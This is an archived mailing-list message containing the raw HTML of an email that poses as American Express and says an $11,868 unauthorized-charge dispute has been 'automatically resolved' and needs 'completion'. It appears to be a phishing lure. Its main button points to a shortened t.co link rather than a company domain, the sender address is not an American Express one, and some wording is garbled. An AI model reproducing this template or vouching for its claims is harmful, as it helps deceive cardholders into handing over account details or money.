[148362] in Discussion of MIT-community interests
Update on Disputed Transaction Adjustment on Your Account
daemon@ATHENA.MIT.EDU (American Express)
Sat Aug 30 05:40:34 2025
From: "American Express" <postmaster-mit-talk-mtg@cardmember.com>
To: mit-talk-mtg@charon.mit.edu
Date: 30 Aug 2025 04:40:34 -0500
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trolPanel/Graphic.php?IM=3DIM_1BJyxFCXhdXfmxT width=3D620>
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NE-HEIGHT: 0px" alt=3D"chat bubble" src=3D"https://aexpfeedback.ca1.qualtri=
cs.com/ControlPanel/Graphic.php?IM=3DIM_eJ6Yziuu2WBlT4p" width=3D46>
</TH>
<TH class=3Dv1tm-gutter style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: c=
ollapse" width=3D30> </TH>
<TH class=3Dv1tm-centre style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BO=
RDER-COLLAPSE: collapse; FONT-WEIGHT: normal; PADDING-BOTTOM: 0px; PADDING-=
TOP: 0px; PADDING-LEFT: 0px; CLEAR: left !important; DISPLAY: block !import=
ant; PADDING-RIGHT: 0px" align=3Dleft>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TH class=3Dv1tm-centre style=3D'BOX-SIZING: border-box; FONT-SIZE: 24px; C=
URSOR: auto; FONT-FAMILY: HelveticaNeue, "Helvetica Neue Regular", Helvetic=
a, Arial, sans-serif; BORDER-COLLAPSE: collapse; FONT-WEIGHT: normal; COLOR=
: rgb(255,255,255); LINE-HEIGHT: 32px' align=3Dleft>An automatic disputed t=
ransaction is available for review </TH></TR>
<TR style=3D"BOX-SIZING: border-box">
<TH class=3Dv1tm-centre style=3D'BOX-SIZING: border-box; FONT-SIZE: 15px; C=
URSOR: auto; FONT-FAMILY: HelveticaNeue, "Helvetica Neue Regular", Helvetic=
a, Arial, sans-serif; BORDER-COLLAPSE: collapse; FONT-WEIGHT: normal; COLOR=
: rgb(255,255,255); LINE-HEIGHT: 22px' align=3Dleft>
<P style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; MARGIN: 0px; DIS=
PLAY: block"> &n=
bsp;  =
; </P></TH></TR></TBODY></TABLE></TH></TR></TBODY><=
/TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV>
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,255,255); MARGIN: 0px auto">
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R-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter bgColo=
r=3D#ffffff border=3D0>
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pse; PADDING-BOTTOM: 10px; DIRECTION: ltr; PADDING-TOP: 34px; PADDING-LEFT:=
30px; PADDING-RIGHT: 30px" vAlign=3Dtop align=3Dleft>
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<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1tm-gutter style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: c=
ollapse" width=3D76> </TD>
<TD class=3Dv1tm-centre style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BO=
RDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEF=
T: 0px; CLEAR: left !important; DISPLAY: block !important; PADDING-RIGHT: 0=
px" align=3Dleft>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1tm-centre style=3D'BOX-SIZING: border-box; FONT-SIZE: 15px; C=
URSOR: auto; FONT-FAMILY: HelveticaNeue, "Helvetica Neue Regular", Helvetic=
a, Arial, sans-serif; BORDER-COLLAPSE: collapse; COLOR: rgb(51,51,51); PADD=
ING-TOP: 10px; LINE-HEIGHT: 22px' align=3Dleft>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block"> &nbs=
p; &=
nbsp; <STRONG>We’ve automatically resolved your pen=
ding dispute</STRONG></P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">Your payme=
nt options have been updated to reflect a disputed amount of<BR>$11,868.00 =
for an unauthorized charge made in a different location. This<BR>adjustment=
has been applied to your credit account and requires your<BR>completion.</=
P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block"> &nbs=
p; </P></TD></TR></TBODY></TABLE></TD></TR></TBODY><=
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pse; PADDING-BOTTOM: 20px; DIRECTION: ltr; PADDING-TOP: 10px; PADDING-LEFT:=
30px; PADDING-RIGHT: 30px" vAlign=3Dtop align=3Dleft>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
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ollapse" width=3D76> </TD>
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RDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEF=
T: 0px; CLEAR: left !important; DISPLAY: block !important; PADDING-RIGHT: 0=
px" align=3Dleft>
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: 0px" align=3Dleft>
<TABLE class=3Dv1hb-hero-button style=3D"BOX-SIZING: border-box; BORDER-COL=
LAPSE: collapse; border-radius: 3px" height=3D38 cellSpacing=3D0 cellPaddin=
g=3D0 width=3D228 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 15px; FONT-FAMILY: Helvetic=
aNeue, "Helvetica Neue", Helvetica, Arial, sans-serif; BORDER-COLLAPSE: col=
lapse; COLOR: rgb(255,255,255); border-radius: 3px' bgColor=3D#006fcf heigh=
t=3D38 vAlign=3Dmiddle align=3Dcenter>
<A class=3Dv1hb-hero-button style=3D'BOX-SIZING: border-box; TEXT-DECORATIO=
N: none; BORDER-TOP: rgb(0,111,207) 1px solid; FONT-FAMILY: HelveticaNeue, =
"Helvetica Neue", Helvetica, Arial, sans-serif; BORDER-RIGHT: rgb(0,111,207=
) 1px solid; WIDTH: 228px; BORDER-BOTTOM: rgb(0,111,207) 1px solid; TEXT-TR=
ANSFORM: none; FONT-WEIGHT: normal; COLOR: rgb(255,255,255); PADDING-BOTTOM=
: 8px; PADDING-TOP: 8px; PADDING-LEFT: 0px; BORDER-LEFT: rgb(0,111,207) 1px=
solid; DISPLAY: inline-block; LINE-HEIGHT: 22px;=20
PADDING-RIGHT: 0px; BACKGROUND-COLOR: transparent; border-radius: 3px' href=
=3D"https://t.co/7h8ZMnFDkW" rel=3Dnoreferrer target=3D_blank>Completion&nb=
sp;Dispute Process</A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><=
/TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; BACKGROUND: rgb(255=
,255,255); MARGIN: 0px auto">
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0px; PADDING-RIGHT: 30px" vAlign=3Dtop align=3Dleft>
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ollapse" width=3D30> </TH>
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ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1tm-gutter style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: c=
ollapse" width=3D76> </TD>
<TD class=3Dv1tm-centre style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BO=
RDER-COLLAPSE: collapse; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEF=
T: 0px; CLEAR: left !important; DISPLAY: block !important; PADDING-RIGHT: 0=
px" align=3Dleft>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1tm-centre style=3D'BOX-SIZING: border-box; FONT-SIZE: 15px; C=
URSOR: auto; FONT-FAMILY: HelveticaNeue, "Helvetica Neue Regular", Helvetic=
a, Arial, sans-serif; BORDER-COLLAPSE: collapse; COLOR: rgb(51,51,51); PADD=
ING-TOP: 10px; LINE-HEIGHT: 22px' align=3Dleft>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block">Thank you =
for being a valued American Express customer and for taking the time to&nbs=
p;review for your dispute and experiences with us. We look forward to =
hearing from you!<BR style=3D"BOX-SIZING: border-box"><BR style=3D"BOX-SIZI=
NG: border-box">Sincerely,<BR style=3D"BOX-SIZING: border-box"><BR style=3D=
"BOX-SIZING: border-box"><B style=3D"BOX-SIZING: border-box; FONT-WEIGHT: b=
older">American Express</B></P></TD></TR></TBODY></TABLE></TD>
</TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; BACKGROUND: rgb(247=
,248,249); MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; WIDTH: 620px; BORDE=
R-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter bgColo=
r=3D#f7f8f9 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 0px; DIRECTION: ltr; PADDING-TOP: 0px; PADDING-LEFT: 0=
px; LINE-HEIGHT: 1px; PADDING-RIGHT: 0px" height=3D10 vAlign=3Dtop align=3D=
center> </TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; BACKGROUND: rgb(255=
,255,255); MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; WIDTH: 620px; BORDE=
R-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=
=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1terms style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER=
-COLLAPSE: collapse; PADDING-BOTTOM: 16px; DIRECTION: ltr; PADDING-TOP: 16p=
x; PADDING-LEFT: 16px; PADDING-RIGHT: 16px" bgColor=3D#ffffff vAlign=3Dtop =
align=3Dleft>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 12px; CURSOR: auto; FONT-F=
AMILY: HelveticaNeue, "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR=
: rgb(83,86,90); LINE-HEIGHT: 18px'>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px 0px 13px; DISPLAY: block"><=
STRONG style=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder"></STRONG> =
;</P>
<P style=3D"BOX-SIZING: border-box; MARGIN: 0px; DISPLAY: block"><BR style=
=3D"BOX-SIZING: border-box">This invitation is limited to the named recipie=
nt (above) of this email only and is not transferrable. The link is valid f=
or mit-talk-mtg@charon.mit.edu ause only.<BR style=3D"BOX-SIZING: bor=
der-box"> </P></DIV></TD></TR></TBODY></TABLE></DIV>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#d9d9d6 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" align=3Dcen=
ter>
<DIV class=3Dv1wrapper style=3D"BOX-SIZING: border-box">
<DIV style=3D"BOX-SIZING: border-box; OVERFLOW: visible; MAX-WIDTH: 620px; =
BACKGROUND: rgb(247,248,249); MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; WIDTH: 620px; BACKG=
ROUND: rgb(247,248,249); BORDER-COLLAPSE: collapse" cellSpacing=3D0 cellPad=
ding=3D0 align=3Dcenter border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; VERTICAL-ALIGN: top; P=
ADDING-BOTTOM: 0px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: 0px; P=
ADDING-LEFT: 0px; LINE-HEIGHT: 1px; PADDING-RIGHT: 0px" height=3D10> <=
/TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; OVERFLOW: visible; MAX-WIDTH: 620px; =
BACKGROUND: rgb(247,248,249); MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; WIDTH: 620px; BACKG=
ROUND: rgb(247,248,249); BORDER-COLLAPSE: collapse" cellSpacing=3D0 cellPad=
ding=3D0 align=3Dcenter border=3D0>
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<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; VERTICAL-ALIGN: top; P=
ADDING-BOTTOM: 0px; DIRECTION: ltr; TEXT-ALIGN: center; PADDING-TOP: 0px; P=
ADDING-LEFT: 0px; LINE-HEIGHT: 1px; PADDING-RIGHT: 0px" height=3D10> <=
/TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; WIDTH: 620px; BORDE=
R-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter bgColo=
r=3D#00175b border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER-COLLAPSE: colla=
pse; PADDING-BOTTOM: 28px; DIRECTION: ltr; PADDING-TOP: 28px; PADDING-LEFT:=
28px; PADDING-RIGHT: 28px" vAlign=3Dtop width=3D"100%" align=3Dcenter>
<TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac=
ing=3D0 cellPadding=3D0 width=3D"100%" border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD style=3D"BOX-SIZING: border-box; WIDTH: 564px; BORDER-COLLAPSE: collaps=
e" width=3D"100%" align=3Dcenter>
<IMG title=3D"Don't do business without it" style=3D"BOX-SIZING: border-box=
; TEXT-DECORATION: none; BORDER-TOP: 0px; HEIGHT: auto; BORDER-RIGHT: 0px; =
WIDTH: 220px; VERTICAL-ALIGN: middle; BORDER-BOTTOM: 0px; OUTLINE-WIDTH: me=
dium; OUTLINE-STYLE: none; BORDER-LEFT: 0px; DISPLAY: block; OUTLINE-COLOR:=
invert; LINE-HEIGHT: 0px" alt=3D"Don't do business without it" src=3D"http=
s://aexpfeedback.ca1.qualtrics.com/ControlPanel/Graphic.php?IM=3DIM_kL8DkgV=
6Rnc6adC" width=3D220 height=3D23></TD></TR></TBODY></TABLE>
</TD></TR></TBODY></TABLE></DIV>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; BACKGROUND: rgb(255=
,255,255); MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; WIDTH: 620px; BORDE=
R-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter bgColo=
r=3D#ffffff border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1fm-nav style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDE=
R-COLLAPSE: collapse; PADDING-BOTTOM: 15px; PADDING-TOP: 16px; PADDING-LEFT=
: 0px; PADDING-RIGHT: 0px" vAlign=3Dtop align=3Dcenter>
<TABLE class=3Dv1fm-nav-link-container style=3D"BOX-SIZING: border-box; BOR=
DER-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 border=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TH class=3D"v1fm-nav-link v1fm-border" style=3D"BOX-SIZING: border-box; FO=
NT-WEIGHT: normal; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 22p=
x; PADDING-RIGHT: 22px">
<A style=3D'BOX-SIZING: border-box; FONT-SIZE: 14px; TEXT-DECORATION: none;=
FONT-FAMILY: HelveticaNeue, "Helvetica Neue", Helvetica, Arial, sans-serif=
; TEXT-TRANSFORM: none; FONT-WEIGHT: normal; COLOR: rgb(0,111,207); DISPLAY=
: inline-block; LINE-HEIGHT: 22px; BACKGROUND-COLOR: transparent' href=3D"h=
ttps://aexpfeedback.ca1.qualtrics.com/jfe/form/SV_5tmga0sCFeqxtu5?Market=3D=
US&Q_Language=3DEN&extlink=3DUS-Email-null-emailFeedbackServicing" =
rel=3Dnoreferrer target=3D_blank>Feedback on this Email</A></TH>
<TH class=3D"v1fm-nav-link v1fm-border" style=3D"BOX-SIZING: border-box; FO=
NT-WEIGHT: normal; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 22p=
x; PADDING-RIGHT: 22px">
<A style=3D'BOX-SIZING: border-box; FONT-SIZE: 14px; TEXT-DECORATION: none;=
FONT-FAMILY: HelveticaNeue, "Helvetica Neue", Helvetica, Arial, sans-serif=
; TEXT-TRANSFORM: none; FONT-WEIGHT: normal; COLOR: rgb(0,111,207); DISPLAY=
: inline-block; LINE-HEIGHT: 22px; BACKGROUND-COLOR: transparent' href=3D"h=
ttps://www.americanexpress.com/us/company/privacy-center/online-privacy-dis=
closures/" rel=3Dnoreferrer target=3D_blank>Privacy Statement</A></TH>=
<TH class=3D"v1fm-nav-link v1fm-border" style=3D"BOX-SIZING: border-box; FO=
NT-WEIGHT: normal; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 22p=
x; PADDING-RIGHT: 22px">
<A style=3D'BOX-SIZING: border-box; FONT-SIZE: 15px; TEXT-DECORATION: none;=
FONT-FAMILY: HelveticaNeue, "Helvetica Neue", Helvetica, Arial, sans-serif=
; TEXT-TRANSFORM: none; FONT-WEIGHT: normal; COLOR: rgb(0,111,207); DISPLAY=
: inline-block; LINE-HEIGHT: 22px; BACKGROUND-COLOR: transparent' href=3D"h=
ttps://aexpfeedback.ca1.qualtrics.com/jfe/form/SV_ac4INsjAfCcflkh?Language=
=3DEN&EDR=3Djw@allermetrix.com&COUNTRY=3DUS&BU=3DGCS&Q_SURV=
EY=3DOPEN" rel=3Dnoreferrer target=3D_blank>Survey Opt-Out</A></TH>
</TR></TBODY></TABLE></TD></TR>
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1terms style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER=
-COLLAPSE: collapse; PADDING-BOTTOM: 20px; DIRECTION: ltr; PADDING-TOP: 20p=
x; PADDING-LEFT: 20px; PADDING-RIGHT: 20px" bgColor=3D#f7f8f9 vAlign=3Dtop =
align=3Dleft>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 12px; CURSOR: auto; FONT-F=
AMILY: HelveticaNeue, "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR=
: rgb(83,86,90); LINE-HEIGHT: 18px'>
<P style=3D"BOX-SIZING: border-box; MARGIN-TOP: 0px">Your account informati=
on is included above to help you recognize this as an email from American E=
xpress. To learn more about email security or report a suspicious email, pl=
ease visit us at<SPAN> </SPAN><A style=3D"BOX-SIZING: border-box; TEXT=
-DECORATION: none; COLOR: rgb(18,116,184); BACKGROUND-COLOR: transparent" h=
ref=3D"https://www.americanexpress.com/us/security-center/" rel=3Dnoreferre=
r target=3D_blank>americanexpress.com/phishing</A>
. We kindly ask you not to reply to this email but instead contact us via<=
SPAN> </SPAN><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: unde=
rline; COLOR: rgb(0,111,207); BACKGROUND-COLOR: transparent" href=3D"https:=
//global.americanexpress.com/en-us/help" rel=3Dnoreferrer target=3D_blank>C=
ustomer Care</A>.</P></DIV></TD></TR></TBODY></TABLE></DIV></DIV></TD></TR>=
</TBODY></TABLE>
<DIV style=3D"BOX-SIZING: border-box; MAX-WIDTH: 620px; MARGIN: 0px auto">
<TABLE style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; WIDTH: 620px; BORDE=
R-COLLAPSE: collapse" cellSpacing=3D0 cellPadding=3D0 align=3Dcenter border=
=3D0>
<TBODY style=3D"BOX-SIZING: border-box">
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1terms style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER=
-COLLAPSE: collapse; PADDING-BOTTOM: 20px; DIRECTION: ltr; PADDING-TOP: 20p=
x; PADDING-LEFT: 20px; PADDING-RIGHT: 20px" bgColor=3D#f7f8f9 vAlign=3Dtop =
align=3Dleft>
<DIV style=3D'BOX-SIZING: border-box; FONT-SIZE: 12px; CURSOR: auto; FONT-F=
AMILY: HelveticaNeue, "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR=
: rgb(83,86,90); LINE-HEIGHT: 18px'>American Express Customer Service Depar=
tment<BR style=3D"BOX-SIZING: border-box">P.O. Box 981535 | El Paso, TX 799=
98-1535<BR style=3D"BOX-SIZING: border-box"><BR style=3D"BOX-SIZING: border=
-box">© 2025 American Express. All Rights Reserved. </DIV></TD></=
TR>
<TR style=3D"BOX-SIZING: border-box">
<TD class=3Dv1terms style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; BORDER=
-COLLAPSE: collapse; PADDING-BOTTOM: 20px; DIRECTION: ltr; PADDING-TOP: 20p=
x; PADDING-LEFT: 20px; PADDING-RIGHT: 20px" bgColor=3D#d6d9d6 vAlign=3Dtop =
align=3Dleft> </TD></TR></TBODY></TABLE></DIV></DIV></TD></TR></TBODY>=
</TABLE></BODY></HTML>
